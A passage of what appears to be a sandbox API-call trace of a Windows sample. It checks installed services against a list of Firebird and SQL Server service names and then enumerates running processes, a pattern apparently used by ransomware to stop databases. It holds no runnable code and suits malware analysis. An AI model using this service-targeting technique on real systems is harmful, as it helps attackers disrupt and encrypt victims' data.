lpString2="MapsBroker") returned 1 [0132.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0132.641] lstrlenW (lpString="MpsSvc") returned 6 [0132.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0132.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0132.641] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0132.641] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0132.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0132.641] lstrlenW (lpString="NcbService") returned 10 [0132.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0132.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0132.642] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0132.642] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0132.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0132.642] lstrlenW (lpString="netprofm") returned 8 [0132.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0132.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0132.642] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0132.642] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0132.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0132.642] lstrlenW (lpString="NlaSvc") returned 6 [0132.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0132.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0132.642] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0132.642] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0132.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0132.642] lstrlenW (lpString="nsi") returned 3 [0132.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0132.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0132.642] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0132.642] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0132.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0132.642] lstrlenW (lpString="PcaSvc") returned 6 [0132.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0132.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0132.642] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0132.642] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0132.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0132.642] lstrlenW (lpString="PlugPlay") returned 8 [0132.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0132.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0132.642] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0132.642] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0132.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0132.642] lstrlenW (lpString="Power") returned 5 [0132.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0132.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0132.643] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0132.643] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0132.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0132.643] lstrlenW (lpString="ProfSvc") returned 7 [0132.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0132.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0132.643] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0132.643] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0132.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0132.643] lstrlenW (lpString="RpcEptMapper") returned 12 [0132.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0132.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0132.643] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0132.643] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0132.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0132.643] lstrlenW (lpString="RpcSs") returned 5 [0132.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0132.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0132.643] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0132.643] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0132.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0132.643] lstrlenW (lpString="SamSs") returned 5 [0132.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0132.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0132.643] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0132.643] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0132.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0132.643] lstrlenW (lpString="Schedule") returned 8 [0132.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0132.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0132.643] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0132.643] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0132.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0132.643] lstrlenW (lpString="SecurityHealthService") returned 21 [0132.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0132.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0132.644] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0132.644] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0132.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0132.644] lstrlenW (lpString="SENS") returned 4 [0132.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0132.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0132.644] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0132.644] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0132.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0132.644] lstrlenW (lpString="ShellHWDetection") returned 16 [0132.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0132.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0132.644] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0132.644] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0132.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0132.644] lstrlenW (lpString="Spooler") returned 7 [0132.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0132.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0132.644] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0132.644] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0132.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0132.644] lstrlenW (lpString="SSDPSRV") returned 7 [0132.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0132.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0132.644] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0132.644] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0132.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0132.644] lstrlenW (lpString="StateRepository") returned 15 [0132.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0132.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0132.644] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0132.644] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0132.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0132.644] lstrlenW (lpString="SysMain") returned 7 [0132.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0132.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0132.645] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0132.645] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0132.645] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x69bb60 | out: hHeap=0x5a0000) returned 1 [0132.645] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x108c [0132.651] Process32FirstW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.651] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.652] lstrlenW (lpString="System") returned 6 [0132.652] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.653] lstrlenW (lpString="smss.exe") returned 8 [0132.653] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.657] lstrlenW (lpString="csrss.exe") returned 9 [0132.658] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.658] lstrlenW (lpString="wininit.exe") returned 11 [0132.658] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.659] lstrlenW (lpString="csrss.exe") returned 9 [0132.659] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.659] lstrlenW (lpString="winlogon.exe") returned 12 [0132.660] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.660] lstrlenW (lpString="services.exe") returned 12 [0132.660] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.661] lstrlenW (lpString="lsass.exe") returned 9 [0132.661] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.661] lstrlenW (lpString="svchost.exe") returned 11 [0132.662] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0132.662] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0132.662] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0132.663] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0132.663] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.664] lstrlenW (lpString="svchost.exe") returned 11 [0132.664] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0132.665] lstrlenW (lpString="dwm.exe") returned 7 [0132.665] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.665] lstrlenW (lpString="svchost.exe") returned 11 [0132.665] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.666] lstrlenW (lpString="svchost.exe") returned 11 [0132.666] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.667] lstrlenW (lpString="svchost.exe") returned 11 [0132.667] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.667] lstrlenW (lpString="svchost.exe") returned 11 [0132.667] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.668] lstrlenW (lpString="svchost.exe") returned 11 [0132.668] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.669] lstrlenW (lpString="svchost.exe") returned 11 [0132.669] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.669] lstrlenW (lpString="svchost.exe") returned 11 [0132.669] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.680] lstrlenW (lpString="svchost.exe") returned 11 [0132.680] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.681] lstrlenW (lpString="svchost.exe") returned 11 [0132.681] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0132.682] lstrlenW (lpString="spoolsv.exe") returned 11 [0132.682] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.682] lstrlenW (lpString="svchost.exe") returned 11 [0132.683] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.683] lstrlenW (lpString="svchost.exe") returned 11 [0132.683] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0132.684] lstrlenW (lpString="audiodg.exe") returned 11 [0132.684] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0132.685] lstrlenW (lpString="sihost.exe") returned 10 [0132.685] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.685] lstrlenW (lpString="svchost.exe") returned 11 [0132.685] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0132.686] lstrlenW (lpString="taskhostw.exe") returned 13 [0132.686] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0132.687] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0132.687] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0132.687] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0132.688] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0132.688] lstrlenW (lpString="explorer.exe") returned 12 [0132.688] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0132.689] lstrlenW (lpString="Memory Compression") returned 18 [0132.689] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0132.690] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0132.690] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0132.690] lstrlenW (lpString="SearchUI.exe") returned 12 [0132.690] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0132.691] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0132.691] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0132.692] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0132.692] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0132.692] lstrlenW (lpString="taskhostw.exe") returned 13 [0132.692] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0132.693] lstrlenW (lpString="UsoClient.exe") returned 13 [0132.693] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0132.694] lstrlenW (lpString="msoia.exe") returned 9 [0132.694] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0132.695] lstrlenW (lpString="taskhostw.exe") returned 13 [0132.695] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0132.695] lstrlenW (lpString="msoia.exe") returned 9 [0132.695] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0132.696] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0132.696] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0132.697] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0132.697] Process32NextW (in: 